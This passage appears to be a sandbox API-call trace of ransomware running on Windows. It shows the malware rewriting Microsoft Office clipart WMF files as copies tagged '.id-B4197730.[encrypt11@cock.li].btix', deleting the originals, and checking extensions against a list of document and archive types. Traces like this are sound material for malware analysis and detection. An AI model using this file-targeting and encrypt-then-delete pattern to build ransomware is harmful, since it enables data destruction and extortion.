CloseHandle (hObject=0x560) returned 1 [0145.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf")) returned 1 [0145.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0145.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0145.178] lstrlenW (lpString=".doc") returned 4 [0145.178] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.178] lstrlenW (lpString=".docx") returned 5 [0145.178] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0145.178] lstrlenW (lpString=".pdf") returned 4 [0145.178] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.178] lstrlenW (lpString=".xls") returned 4 [0145.178] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.178] lstrlenW (lpString=".xlsx") returned 5 [0145.178] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0145.178] lstrlenW (lpString=".ppt") returned 4 [0145.178] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0145.178] lstrlenW (lpString=".zip") returned 4 [0145.178] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.178] lstrlenW (lpString=".rar") returned 4 [0145.178] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.178] lstrlenW (lpString=".bz2") returned 4 [0145.178] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.179] lstrlenW (lpString=".7z") returned 3 [0145.179] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0145.179] lstrlenW (lpString=".dbf") returned 4 [0145.179] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0145.179] lstrlenW (lpString=".1cd") returned 4 [0145.179] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0145.179] lstrlenW (lpString=".jpg") returned 4 [0145.179] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.179] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=13456) returned 1 [0145.179] CloseHandle (hObject=0x560) returned 1 [0145.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf")) returned 0x220 [0145.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0145.180] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.180] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0145.181] GetLastError () returned 0x0 [0145.181] ReadFile (in: hFile=0x560, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x3490, lpOverlapped=0x0) returned 1 [0145.182] WriteFile (in: hFile=0x334, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x34a0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x34a0, lpOverlapped=0x0) returned 1 [0145.183] ReadFile (in: hFile=0x560, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.183] WriteFile (in: hFile=0x334, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.183] SetEndOfFile (hFile=0x334) returned 1 [0145.184] CloseHandle (hObject=0x334) returned 1 [0145.184] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.184] SetEndOfFile (hFile=0x560) returned 1 [0145.186] CloseHandle (hObject=0x560) returned 1 [0145.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf")) returned 1 [0145.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0145.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0145.187] lstrlenW (lpString=".doc") returned 4 [0145.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.187] lstrlenW (lpString=".docx") returned 5 [0145.187] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0145.187] lstrlenW (lpString=".pdf") returned 4 [0145.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.187] lstrlenW (lpString=".xls") returned 4 [0145.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.187] lstrlenW (lpString=".xlsx") returned 5 [0145.187] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0145.187] lstrlenW (lpString=".ppt") returned 4 [0145.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0145.187] lstrlenW (lpString=".zip") returned 4 [0145.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.187] lstrlenW (lpString=".rar") returned 4 [0145.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.187] lstrlenW (lpString=".bz2") returned 4 [0145.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.187] lstrlenW (lpString=".7z") returned 3 [0145.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0145.187] lstrlenW (lpString=".dbf") returned 4 [0145.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0145.188] lstrlenW (lpString=".1cd") returned 4 [0145.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0145.188] lstrlenW (lpString=".jpg") returned 4 [0145.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.188] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=22532) returned 1 [0145.188] CloseHandle (hObject=0x560) returned 1 [0145.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf")) returned 0x220 [0145.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0145.189] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.189] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0145.189] GetLastError () returned 0x0 [0145.190] ReadFile (in: hFile=0x560, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x5804, lpOverlapped=0x0) returned 1 [0145.308] WriteFile (in: hFile=0x334, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x5810, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x5810, lpOverlapped=0x0) returned 1 [0145.309] ReadFile (in: hFile=0x560, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.309] WriteFile (in: hFile=0x334, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.309] SetEndOfFile (hFile=0x334) returned 1 [0145.310] CloseHandle (hObject=0x334) returned 1 [0145.310] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.310] SetEndOfFile (hFile=0x560) returned 1 [0145.312] CloseHandle (hObject=0x560) returned 1 [0145.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf")) returned 1 [0145.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0145.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0145.313] lstrlenW (lpString=".doc") returned 4 [0145.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.313] lstrlenW (lpString=".docx") returned 5 [0145.313] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0145.314] lstrlenW (lpString=".pdf") returned 4 [0145.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.314] lstrlenW (lpString=".xls") returned 4 [0145.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.314] lstrlenW (lpString=".xlsx") returned 5 [0145.314] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0145.314] lstrlenW (lpString=".ppt") returned 4 [0145.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0145.314] lstrlenW (lpString=".zip") returned 4 [0145.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.314] lstrlenW (lpString=".rar") returned 4 [0145.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.314] lstrlenW (lpString=".bz2") returned 4 [0145.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.314] lstrlenW (lpString=".7z") returned 3 [0145.314] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0145.314] lstrlenW (lpString=".dbf") returned 4 [0145.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0145.314] lstrlenW (lpString=".1cd") returned 4 [0145.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0145.314] lstrlenW (lpString=".jpg") returned 4 [0145.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.315] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=7996) returned 1 [0145.315] CloseHandle (hObject=0x560) returned 1 [0145.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf")) returned 0x220 [0145.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0145.315] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.315] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0145.345] GetLastError () returned 0x0 [0145.365] ReadFile (in: hFile=0x560, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x1f3c, lpOverlapped=0x0) returned 1 [0145.380] WriteFile (in: hFile=0x334, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x1f40, lpOverlapped=0x0) returned 1 [0145.381] ReadFile (in: hFile=0x560, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.381] WriteFile (in: hFile=0x334, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.381] SetEndOfFile (hFile=0x334) returned 1 [0145.381] CloseHandle (hObject=0x334) returned 1 [0145.382] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.382] SetEndOfFile (hFile=0x560) returned 1 [0145.384] CloseHandle (hObject=0x560) returned 1 [0145.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.385] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf")) returned 1 [0145.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0145.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0145.385] lstrlenW (lpString=".doc") returned 4 [0145.385] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.385] lstrlenW (lpString=".docx") returned 5 [0145.385] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0145.385] lstrlenW (lpString=".pdf") returned 4 [0145.385] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.385] lstrlenW (lpString=".xls") returned 4 [0145.385] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.385] lstrlenW (lpString=".xlsx") returned 5 [0145.385] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0145.385] lstrlenW (lpString=".ppt") returned 4 [0145.385] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0145.385] lstrlenW (lpString=".zip") returned 4 [0145.385] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.385] lstrlenW (lpString=".rar") returned 4 [0145.385] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.385] lstrlenW (lpString=".bz2") returned 4 [0145.385] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.386] lstrlenW (lpString=".7z") returned 3 [0145.386] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0145.386] lstrlenW (lpString=".dbf") returned 4 [0145.386] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0145.386] lstrlenW (lpString=".1cd") returned 4 [0145.386] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0145.386] lstrlenW (lpString=".jpg") returned 4 [0145.386] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.386] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11108) returned 1 [0145.386] CloseHandle (hObject=0x560) returned 1 [0145.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf")) returned 0x220 [0145.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0145.387] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.387] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0145.388] GetLastError () returned 0x0 [0145.388] ReadFile (in: hFile=0x560, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x2b64, lpOverlapped=0x0) returned 1 [0145.394] WriteFile (in: hFile=0x334, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x2b70, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x2b70, lpOverlapped=0x0) returned 1 [0145.395] ReadFile (in: hFile=0x560, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.395] WriteFile (in: hFile=0x334, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.395] SetEndOfFile (hFile=0x334) returned 1 [0145.395] CloseHandle (hObject=0x334) returned 1 [0145.395] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.395] SetEndOfFile (hFile=0x560) returned 1 [0145.397] CloseHandle (hObject=0x560) returned 1 [0145.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.398] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf")) returned 1 [0145.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0145.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0145.398] lstrlenW (lpString=".doc") returned 4 [0145.398] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.398] lstrlenW (lpString=".docx") returned 5 [0145.398] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0145.398] lstrlenW (lpString=".pdf") returned 4 [0145.398] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.398] lstrlenW (lpString=".xls") returned 4 [0145.398] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.398] lstrlenW (lpString=".xlsx") returned 5 [0145.398] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0145.399] lstrlenW (lpString=".ppt") returned 4 [0145.399] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0145.399] lstrlenW (lpString=".zip") returned 4 [0145.399] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.399] lstrlenW (lpString=".rar") returned 4 [0145.399] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.399] lstrlenW (lpString=".bz2") returned 4 [0145.399] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.399] lstrlenW (lpString=".7z") returned 3 [0145.399] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0145.399] lstrlenW (lpString=".dbf") returned 4 [0145.399] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0145.399] lstrlenW (lpString=".1cd") returned 4 [0145.399] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0145.399] lstrlenW (lpString=".jpg") returned 4 [0145.399] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.399] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=14132) returned 1 [0145.399] CloseHandle (hObject=0x560) returned 1 [0145.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 